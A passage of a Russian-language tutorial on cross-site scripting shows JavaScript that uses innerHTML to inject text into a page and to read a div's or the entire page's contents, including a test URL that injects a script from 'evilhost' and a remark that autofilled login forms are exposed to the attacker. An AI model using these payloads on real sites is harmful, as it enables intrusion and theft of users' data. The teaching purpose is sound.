Дописывание в определённое место страницы произвольного HTML/JS-кода

Вот здесь начнём пользоватся innerHTML. innerHTML - свойство DOM (Document Object Model) элементов. Это свойство позволяет без труда включить в состав элемента любой код в неограниченном количестве. Ниже мы разберём пример включения в документ обычного текста. Эту задачу будет выполнять функция InsertText(). Вот её код:

function InsertText(){

// Текст который будет добавлен

var our_text=" - innerHTML in action!";

// в переменную element заносим текст который

// находится внутри наших div-тэгов (у них id - main_div)

var element=document.getElementById("main_div");

// Добавляем текст

element.innerHTML+=our_text;

}

Данный код добавит к тексту “our test form” текст “innerHTML in action!”. Всё что нам теперь нужно – вызвать данную функцию. Для этого нужно просто написать её имя в начале скрипта. В итоге код xss_code.js должен быть следующим:

// Содержимое xss_code.js

// Вызываем функцию

InsertText();

// Код функции

function InsertText(){

var our_text=" - innerHTML in action!";

var element=document.getElementById("main_div");

element.innerHTML+=our_text;

}

Для проверки работоспособности кода пройдите по ссылке:

http://clientsite/index.php?word=<script src=http://evilhost/xss_code.js></script>

Не забывайте о том, что в innerHTML содержится текст/код находящийся внутри указанного Вами элемента, и Вы можете не только изменять его, но и читать (выводить в alert(), в переменную и т.д.). Вот код, который выполнит чтение всего, что находится внутри тэга <div>:

function ShowInnerHTML(){

var our_text=" - innerHTML in action!";

var element=document.getElementById("main_div");

alert(element.innerHTML);

}

При вызове данной функции Вы должны увидеть следующее:

А что если взломщику нужно просмотреть весь код страницы? Как Вы наверное уже догадались – нужно получить innerHTML тэга <html>. Для этого можно использовать следующий код:

function GetAllPage(){

// В переменную page помещаются все свойства тэга <html>

var page=document.getElementById("html");

// а теперь в переменную CodeOfPage помещаем код страницы

var CodeOfPage=page.innerHTML;

// выводим код страницы с помощью alert().

alert(CodeOfPage);

}

Не забывайте про то, что в браузерах есть такая хорошая функция как “автозаполнение форм”. Если вдруг у жертвы данная функция активирована то шанс обнаружить какую-либо информацию в форме (например, авторизации) очень велик.

Это самый простой пример применения XSS не для кражи cookies или вывода сообщений. Идём дальше.


Понравилась статья? Добавь ее в закладку (CTRL+D) и не забудь поделиться с друзьями:  



double arrow
Сейчас читают про: